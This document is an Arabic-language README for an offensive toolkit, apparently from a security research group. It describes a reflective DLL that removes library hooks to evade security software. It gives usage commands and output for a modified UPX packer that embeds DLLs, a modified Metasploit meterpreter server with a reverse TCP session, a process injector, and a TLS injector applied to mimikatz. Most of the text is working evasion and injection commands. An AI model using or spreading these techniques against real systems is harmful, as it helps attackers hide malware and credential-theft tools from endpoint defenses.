
DLL انعكاسي يفحص ذاكرة العمليات ويزيل خطافات المكتبات المحمّلة للتهرب من البرامج الأمنية، مع تكامل UPX وحاقن TLS وMeterpreter.
DLLRefresher.exe هو أداة اختبار مستقلة لفحص مساحة ذاكرة العملية وإزالة الخطافات (unhooking) من المكتبات المحمّلة حاليًا.
تم تعديل ملفات UPX الثنائية المُحزّمة لدعم معامل إضافي (-X <path/to/target.dll>) لتضمينه في الملف الثنائي المُحزّم. سيقوم ملف UPX الثنائي المُحزّم النهائي بفك ضغط الملف التنفيذي الهدف في الذاكرة واستدعاء ملف DLL المُضمّن قبل القفز إلى نقطة الدخول الأصلية للملف التنفيذي.
يمكن العثور على مصدر UPX المُعدّل على https://github.com/CylanceVulnResearch/upx/tree/reflective_dll
الاستخدام:
upx -o <output filename> -X <path/to/embed.dll> <target executable>
مثال:
upx -o packed_binary.exe -X ReflectiveDLL.x86.dll target_binary.exe
ملف metsrv.dll (والإضافات المرتبطة به في مجلد meterpreter) هو خادم meterpreter مُعدّل سيقوم بإزالة الخطافات من المكتبات المحمّلة حاليًا قبل تشغيل تهيئة meterpreter.
الاستخدام:
انسخ جميع ملفات DLL من مجلد meterpreter إلى metasploit-framework/data/meterpreter/ واحصل على تنفيذ meterpreter على الهدف كالمعتاد.
مثال:
msf > use exploit/multi/handler
msf exploit(handler) > set PAYLOAD windows/x64/meterpreter/reverse_tcp
PAYLOAD => windows/x64/meterpreter/reverse_tcp
msf exploit(handler) > run
[*] Started reverse TCP handler on 10.10.10.171:4444
[*] Starting the payload handler...
WARNING: Local file /usr/share/metasploit-framework/data/meterpreter/metsrv.x64.dll is being used
[*] Sending stage (1195055 bytes) to 10.10.10.186
[*] Meterpreter session 1 opened (10.10.10.171:4444 -> 10.10.10.186:58657) at 2016-10-03 10:07:39 -0400
WARNING: Local file /usr/share/metasploit-framework/data/meterpreter/ext_server_stdapi.x64.dll is being used
meterpreter > WARNING: Local file /usr/share/metasploit-framework/data/meterpreter/ext_server_priv.x64.dll is being used
Inject.exe هو أداة مساعدة لحقن ملف DLL معيّن في أي عملية.
الاستخدام:
Inject.exe <pid> <filename>
مثال:
Inject.exe 2964 ReflectiveDLLRefresher.x86.dll
[+] Injected the 'ReflectiveDLLRefresher.x86.dll' DLL into process 2964.
يمكن حقن ملف DLL من خلال جلسة meterpreter باستخدام وحدة post/windows/manage/reflective_dll_inject.
الاستخدام:
msf > use post/windows/manage/reflective_dll_inject
msf post(reflective_dll_inject) > set PATH /path/to/ReflectiveDLLRefresher.x86.dll
msf post(reflective_dll_inject) > set SESSION <session-id>
msf post(reflective_dll_inject) > set PID <pid of meterpreter session>
msf post(reflective_dll_inject) > run
مثال:
msf > use post/windows/manage/reflective_dll_inject
msf post(reflective_dll_inject) > set PATH /path/to/ReflectiveDLLRefresher.x86.dll
msf post(reflective_dll_inject) > set SESSION 1
msf post(reflective_dll_inject) > set PID 4068
msf post(reflective_dll_inject) > run
[*] Running module against WIN10DEV
[*] Injecting /root/ReflectiveDLLRefresher.x86.dll into 4068 ...
[*] DLL injected. Executing ReflectiveLoader ...
[+] DLL injected and invoked.
[*] Post module execution completed
tlsInjector.py هو نسخة مُعدّلة من سكربت Borja Merino لدعم حقن DLL الانعكاسي. سيأخذ ملف DLL انعكاسيًا ويحقنه في قسم TLS لملف تنفيذي 32-بت (لا يتم دعم 64-بت).
الاستخدام:
python tlsInjector.py -l <path/to/embed.dll> -f <target executable> -o <output filename> -t
مثال:
python tlsInjector.py -l ReflectiveDLLRefresher.x86.dll -f mimikatz.exe -o mimikatz_tls.exe -t